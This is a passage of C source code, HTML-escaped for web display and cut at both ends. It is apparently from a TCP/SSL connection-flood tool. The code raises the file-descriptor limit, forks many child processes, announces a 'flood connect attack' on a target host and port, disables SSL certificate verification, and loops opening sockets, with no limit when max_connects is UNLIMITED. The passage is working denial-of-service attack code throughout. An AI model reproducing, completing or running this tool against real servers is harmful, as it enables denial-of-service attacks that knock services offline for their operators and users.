&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;target.sin_family&amp;nbsp;=&amp;nbsp;AF_INET; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(connect_delay&amp;nbsp;&amp;gt;&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;connect_delay&amp;nbsp;=&amp;nbsp;connect_delay&amp;nbsp;*&amp;nbsp;1000;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;/*&amp;nbsp;ms&amp;nbsp;to&amp;nbsp;microseconds&amp;nbsp;*/&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;connect_delay&amp;nbsp;=&amp;nbsp;1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(close_delay&amp;nbsp;&amp;gt;&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close_delay&amp;nbsp;=&amp;nbsp;close_delay&amp;nbsp;*&amp;nbsp;1000;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;/*&amp;nbsp;ms&amp;nbsp;to&amp;nbsp;microseconds&amp;nbsp;*/&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close_delay&amp;nbsp;=&amp;nbsp;1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(dump_delay&amp;nbsp;&amp;gt;&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dump_delay&amp;nbsp;=&amp;nbsp;dump_delay&amp;nbsp;*&amp;nbsp;1000;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;/*&amp;nbsp;ms&amp;nbsp;to&amp;nbsp;microseconds&amp;nbsp;*/&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dump_delay&amp;nbsp;=&amp;nbsp;1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rlim.rlim_cur&amp;nbsp;=&amp;nbsp;RLIM_INFINITY; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rlim.rlim_max&amp;nbsp;=&amp;nbsp;RLIM_INFINITY; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret&amp;nbsp;=&amp;nbsp;setrlimit(RLIMIT_NOFILE,&amp;nbsp;&amp;amp;rlim); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(verbose)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(ret&amp;nbsp;==&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;setrlimit&amp;nbsp;for&amp;nbsp;unlimited&amp;nbsp;filedescriptors&amp;nbsp;succeeded.\n&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;else&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;setrlimit&amp;nbsp;for&amp;nbsp;unlimited&amp;nbsp;filedescriptors&amp;nbsp;failed.\n&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;for&lt;/span&gt;&lt;span&gt;&amp;nbsp;(i&amp;nbsp;=&amp;nbsp;3;&amp;nbsp;i&amp;nbsp;&amp;lt;&amp;nbsp;4096;&amp;nbsp;i++) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close(i); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Starting&amp;nbsp;flood&amp;nbsp;connect&amp;nbsp;attack&amp;nbsp;on&amp;nbsp;%s&amp;nbsp;port&amp;nbsp;%d\n&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;inet_ntoa((&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;struct&lt;/span&gt;&lt;span&gt;&amp;nbsp;in_addr)target.sin_addr),&amp;nbsp;port); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;void&lt;/span&gt;&lt;span&gt;)&amp;nbsp;setvbuf(stdout,&amp;nbsp;NULL,&amp;nbsp;_IONBF,&amp;nbsp;0); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(verbose) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Writing&amp;nbsp;a&amp;nbsp;\&amp;quot;.\&amp;quot;&amp;nbsp;for&amp;nbsp;every&amp;nbsp;100&amp;nbsp;connect&amp;nbsp;attempts\n&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;count&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;successful&amp;nbsp;=&amp;nbsp;0; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i&amp;nbsp;=&amp;nbsp;1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s&amp;nbsp;=&amp;nbsp;-1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;res&amp;nbsp;=&amp;nbsp;1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt;&lt;span&gt;(pidcount&amp;nbsp;&amp;lt;&amp;nbsp;forks&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;res)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;res&amp;nbsp;=&amp;nbsp;pids[pidcount]&amp;nbsp;=&amp;nbsp;fork(); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pidcount++; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(res&amp;nbsp;==&amp;nbsp;0) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;client&amp;nbsp;=&amp;nbsp;1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(res&amp;nbsp;&amp;gt;&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;signal(SIGTERM,&amp;nbsp;kill_children); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;signal(SIGINT,&amp;nbsp;kill_children); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;signal(SIGSEGV,&amp;nbsp;kill_children); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;signal(SIGHUP,&amp;nbsp;kill_children); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(use_ssl)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#ifdef&amp;nbsp;OPENSSL &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SSL_load_error_strings(); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SSLeay_add_ssl_algorithms(); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;context:&amp;nbsp;ssl2&amp;nbsp;+&amp;nbsp;ssl3&amp;nbsp;is&amp;nbsp;allowed,&amp;nbsp;whatever&amp;nbsp;the&amp;nbsp;server&amp;nbsp;demands &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;((sslContext&amp;nbsp;=&amp;nbsp;SSL_CTX_new(SSLv23_method()))&amp;nbsp;==&amp;nbsp;NULL)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(verbose)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;err&amp;nbsp;=&amp;nbsp;ERR_get_error(); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fprintf(stderr,&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;SSL:&amp;nbsp;Error&amp;nbsp;allocating&amp;nbsp;context:&amp;nbsp;%s\n&amp;quot;&lt;/span&gt;&lt;span&gt;,&amp;nbsp;ERR_error_string(err,&amp;nbsp;NULL)); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;res&amp;nbsp;=&amp;nbsp;-1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;set&amp;nbsp;the&amp;nbsp;compatbility&amp;nbsp;mode &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SSL_CTX_set_options(sslContext,&amp;nbsp;SSL_OP_ALL); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;we&amp;nbsp;set&amp;nbsp;the&amp;nbsp;default&amp;nbsp;verifiers&amp;nbsp;and&amp;nbsp;dont&amp;nbsp;care&amp;nbsp;for&amp;nbsp;the&amp;nbsp;results &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;void&lt;/span&gt;&lt;span&gt;)&amp;nbsp;SSL_CTX_set_default_verify_paths(sslContext); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SSL_CTX_set_tmp_rsa_callback(sslContext,&amp;nbsp;ssl_temp_rsa_cb); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SSL_CTX_set_verify(sslContext,&amp;nbsp;SSL_VERIFY_NONE,&amp;nbsp;NULL); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class=&quot;preprocessor&quot;&gt;#endif &lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;while&lt;/span&gt;&lt;span&gt;&amp;nbsp;(count&amp;nbsp;&amp;lt;&amp;nbsp;max_connects&amp;nbsp;||&amp;nbsp;max_connects&amp;nbsp;==&amp;nbsp;UNLIMITED)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(ret&amp;nbsp;&amp;gt;=&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;((s&amp;nbsp;=&amp;nbsp;socket(AF_INET,&amp;nbsp;sock_type,&amp;nbsp;sock_protocol))&amp;nbsp;&amp;lt;&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(verbose&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;warn&amp;nbsp;==&amp;nbsp;0)&amp;nbsp;{ &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;perror(&lt;/span&gt;&lt;span class=&quot;string&quot;&gt;&amp;quot;Warning&amp;nbsp;(socket)&amp;quot;&lt;/span&gt;&lt;span&gt;); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;warn&amp;nbsp;=&amp;nbsp;1; &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(exit_on_sock_error) &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li class=&quot;alt&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(0); &amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span 